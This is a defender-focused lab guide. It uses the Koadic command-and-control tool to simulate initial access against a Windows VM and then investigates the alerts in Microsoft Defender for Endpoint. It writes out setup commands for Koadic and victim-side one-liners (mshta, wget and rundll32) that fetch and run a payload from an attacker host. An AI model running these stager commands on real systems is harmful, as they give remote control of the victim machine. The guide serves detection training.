Att^ck & D3fend: MDE LA8 – Initial Acce§s
Roses are red, Violets are blue, and if initial access has been successfully done, your network is probably gone.
Managing a comprehensive security product and control can be complicated, requiring a cumbersome environment and device configuration before an end-to-end attack simulation can be done. Adding to the complexity is tracking where the simulation activities, alerts, and results are reflected during the evaluation.
The Microsoft Defender for Endpoint LAB – the MDE LAB is a series of Att^ck & D3fend: MDE LA8S that gives you a perspective of how the attacker’s actions can be done, focus on testing the MDE capabilities platform, running various simulations, and seeing the prevention, detection, and remediation features in action.
With the simplified practice, you can focus on running your security test scenarios and see how Microsft Defender for Endpoint can identify, protect, and investigate an incident.
The Att^ck & D3fend: MDE LAB includes several scenarios that will be available soon:
- Initial access (this lab)
- Code execution and persistence
- Discovery and lateral movement
- C2 and exfiltration
- Cloud Attack (several labs)
Att^ck & D3fend: MDE LA8S References
In the first part of Att^ck & D3fend: MDE LA8S, I will cover the Initial Access scenario. I will explore specific offensive techniques for obtaining a foothold within a target environment by creating and successfully delivering malicious action. I will also explore the detection and investigation strategies employed to spot these using our detection stacks.
The following scenario is a step-by-step guide to recreating the demos from that Initial Access and exercises to further the reader’s understanding of the concepts shown for Microsoft Defender for Endpoint.
Note: I will assume basic familiarity with the Linux (WSL), Windows command line, and basic MDE knowledge.
The offensive tool demonstrated below is a specific offensive tool, and if you’re familiar with other offensive tools, you can try it with this lab. But remember that some of the investigation examples won’t be the same.
Koadic Offensive Tool
Koadic is a great tool to demonstrate behavior-based detections. It is an exciting way of leveraging technologies built into the Windows devices such as Windows Script Host and the COM. COM and WSH fall into the general category of living off the land (LOTL) tools, allowing adversaries to proxy their toolset’s execution through built-in Windows programs.
The Koadic post-exploitation toolkit serves as an alternative to tools like Meterpreter and PowerShell Empire. While there are some differences in how payloads are delivered and exploits, Koadic provides a fully-featured environment to remotely perform tasks on an exploited Windows system. The tool offers two main categories of functions, divided within the program as stagers and implants.
Koadic is good enough for mature threat groups such as APT28 and has received frequent updates over the last couple of years.
Below are the main Koadic features for stagers, implants, and then used by the threat group. 👇
Initial Access, Tactic TA0001 – Enterprise | MITRE ATT&CK® consists of techniques that use various entry vectors to gain their initial foothold within a network. Methods used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and external remote services, or limited use due to changing passwords.
Validating parent-child process relationships continues to be a valuable technique for hunting and building detections. As attacker activity becomes more evasive, however, we also require flexibility as defenders. This example shows the value of tracking process ancestry, which lets us maintain state and track complete process genealogy. This is an essential concept because it goes beyond the typical parent-child process paradigm that many languages are limited to.
The initial side
Stagers are used to create the actual remote-access connections through different Windows-based processes (in this lab via hta payload), and implants are used to complete tasks on systems already connected as zombie machines over the stager connection. These implants can execute commands, retrieve system keys and password hashes, and even play audio on the zombie device.
TIP: By tracking additional descendant processes, MDE defenders have the ability to follow process chains infinitely down the process tree. This provides more freedom in expressing suspicious behavior together while also allowing tighter controls around process ancestry.
Image from White-Paper_KOADIC
To begin using Koadic, it first needs to be downloaded and installed. In this example, Koadic is installed on a Linux system. However, it will potentially run on any Unix-like shell environment such as WSL on Windows 10 and higher.
Defense Evasion
Offensive tools like Koadic usually include usability features that help facilitate payload building, also known as stagers. These small pieces of code get executed on the victim machine and establish a network connection to the attacker to bring in a staged payload for execution. Stagers represent a vital part of the early stages of the intrusion process. The following example explores the detection strategy for various Windows utilities used to proxy execution with Koadic stagers. More information – Mshta (T1170), Rundll32 (T1085)
Discovery
Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior. Adversaries may attempt to list other systems by IP address, hostname, or other logical identifiers on a network used for Lateral Movement from the current system.
More information – Account Discovery (T1087), Remote System Discovery (T1096)
LAB Process
This MDE lab includes several references about the initial access, the Koadic tool, the requirements, and essential information before proceeding to the guide itself.
In this Att^ck & D3fend: Initial Acce§s – MDE LA8S will deploy a Koadic and weaponized with HTA file. Koadic is defined by the author as a COM Command & Control framework focused on post-exploitation. Component Object Model is an interface used for achieving inter-process communication.
Koadic relies heavily on COM objects to:
- Perform privilege escalation attacks.
- Move laterally.
- Establish persistence.
This exercise will aim to understand the behavior of such tools concerning the relations between created processes and network connections. More specifically, we will hunt for suspicious binaries that generated network connections.
The lab is required a specific Windows machine, Linux, and tools. Here are the
- Attacker VM with WSL based Windows 10
- Koadic tool installed on the attacker VM
- Victim VM based Windows 10 with MDE Sensor
Listener & Payload Setup
Koadic is available from zerosum0x0’s GitHub page. The source code can be downloaded on systems with Git already installed by running the command below in a WSL terminal window.
First thing first, we will start to set the attacker VM with the Koadic listener. Once the source code is downloaded, cloned, and set, we can run cd koadic to move into the new Koadic directory. Once we’re in the Koadic folder, we can use PIP to install the Python requirements. These requirements are listed in the “requirements.txt” file within the Koadic directory, so we’ll use this as an argument for pip3, as shown in the command below.
The setup of the tool is relatively straightforward:
git clone https://github.com/zerosum0x0/koadic.git
cd koadic
pip3 install -r requirements.txt
./koadic
With the ‘info’ command, you should be able to see the options of default for the ‘mshta’ stager:
TIP: you can modify the options using ‘set OPTION-NAME VALUE.’ For example, to alter the port Koadic will listen on, you can use: ‘set SRVPORT 4444’.
Koadic functions similarly to other frameworks, and you may be familiar with Metasploit, and as such, it allows for individual modules to be loaded and configured. Once a module is selected, parameters can be set, and then the module can be run. In this lab, we won’t set additional options.
TIP: Koadic provides autocomplete by pressing Tab, making it a little easier to search for and find commands.
Let’s begin by loading the mshta stager by running the command below. Use ‘execute’ to start the listener and generate a stager. The output will be something like the following:
(koadic: sta/js/mshta)$ use stager/js/mshta
(koadic: sta/js/mshta)$ execute
[+] Spawned a stager at http://10.2.0.4:9999/s4tUt
[>] mshta http://10.2.0.4:9999/s4tUt
(koadic: sta/js/mshta)$
Note: the stager address will be your IP address
TIP: we can also load the mshta stager by running the command below, “use stager/js/mshta.”
Once the module is selected, parameters can be set, and then the module can be run. Koadic also provides autocomplete triggered by pressing tab, making it a little easier to search for and find commands.
The stager allows us to define where the Koadic command and control are accessed by any “zombie” devices. We can view some of these available settings by running info once the stager is selected.
TIP: The stager allows us to define where the Koadic command and control are accessed by any “zombie” devices. We can view some of these available settings by running info once the stager is selected.
Execution
From the output you received above, extract the endpoint after ‘mshta.’ This example will be http://10.2.0.4:9999/s4tUt. The address will be your IP address and the “Endpoint” value.
A victim device can be connected to the Koadic “mshta” staging server by running just one line on the command prompt. This command, similar to the one shown below, will begin with mshta, followed by the IP and port of the staging server. The command can also be retrieved from the Koadic command log, as shown after running the stager.
Use the following Linux command to extract the content of the endpoint and save it to an HTA file:
Once this command is run, the Victim-VM (Windows device) will be connected to the command and control as a zombie. After the command is run, we can confirm that zombies are linked by running zombies within the Koadic console.
Let’s go back to the Koadic (attacker-VM) and check for zombies. Why is the status is “Dead”? 😱
This device is already hooked (it looks like or should) but not yet elevated. Do you’ve got “Alive” status for your victim-VM? the one with the MDE sensor? 🤦♂️
TIP: you can also run from the victim device the following command “wget http://10.2.0.4:9999/s4tUt -O payload.hta”. Then you can now move the HTA file to the Windows testing VM and test the execution by double-clicking the file.
You can play around with some of the available Koadic modules for command execution or credential extraction.
TIP: in addition, you can run an additional scenario with RunDll32 based on the following command:
rundll32.exe http://192.168.0.9:9999/KvKSb?sid=503b5d077cda4df28869e81993cda70f;csrf=;\..\..\..\mshtml,RunHTMLApplication
MDE Exercises
The MDE exercises in question mode. To check how Defender for Endpoint identified, prevent, and blocks this attack and also provides rich investigation, make sure we are running the following exercises:
Zombie testing – Identify the attacker and if the victim hooked successfully?
Was the attack successful? Has contact been made with the attacker? Was the session status still alive? If yes, for how long time? If the MDE configured well, it should be blocked this attack and won’t allow device hooking.
The MDE should identify and raise an alert and incident for this action. The
From this alert, you should drill down to the alert story and start the investigation. As we can see, we’ve got the main Koadic features with LOTL and Discovery actions.
TIP: we can go deep dive into this story and each specific action.
TIP: if you drill down into this attack, you should notice that it and its actions are blocked immediately and automatically without any involvement.
Can you identify any binary commonly used for code execution being spawned?
You should be able to see at least one case of Mshta and RunDll32 being launched due to this attack. Usage of these binaries on its own might not be malicious, as they are commonly used by the Windows system and other applications. Let’s continue the hunt.
Note: if you the rundll command, you should see it on the MDE alerts.
If you go into the alert, you will recognize the running command and their findings and remediations. This time, the action is the same for Recon and LOTL.
For each suspicious binary, analyze the process’s command-line arguments to determine whether it’s benign or not. In the same alert and incident you previously identified, you should be able to view, for example, RunDll32 arguments. The alert story will show the process launched on the victim-VM and the evidence, including the action before and after running the rundll command.
You would run a simple query from the hunting console to search for rundll, process actions, and devices.
What type of attack was carried out? And whether it is a linked attack? Because I ran the payload with two different commands, the MDE notified you about the multistage attack. Still, for the same kind of attack, if the attack successfully ran on the victim-VM and didn’t prevent it, the MDE was not configured correctly (for sure).
Is the zombie alive for a long time and not closed immediately? If everything went fine on the victim-VM, so, your MDE isn’t configured well, and you should be able to see a new “zombie” that checked in within Koadic. “Zombie” is the term used to describe a compromised host. As we were notified, the MDE blocked this attack immediately.
Have stagers successfully initiated in your windows 10 device? If MDE configured well, it wouldn’t be able to be initiated successfully.
Outcome
Deploying MDE sensors is not enough to protect machines. We need to ensure that the MDE configuration is fully configured to detect and stop various attacks, for example, as we saw in the current lab with the KOADIC tool. The MDE must be in automatic blocking and prevention mode to eliminate such situations and not run on the device.
The lab we ran provides indications about attack tools, the process of preparing and running an attack tool, and a basic understanding of an attacker with attack steps like discovery, LOTL, and more.
As in any lab, we need to draw conclusions and ask questions about running the tools and, more importantly, how the MDE assists us in detecting and stopping attacks while conducting an investigation.
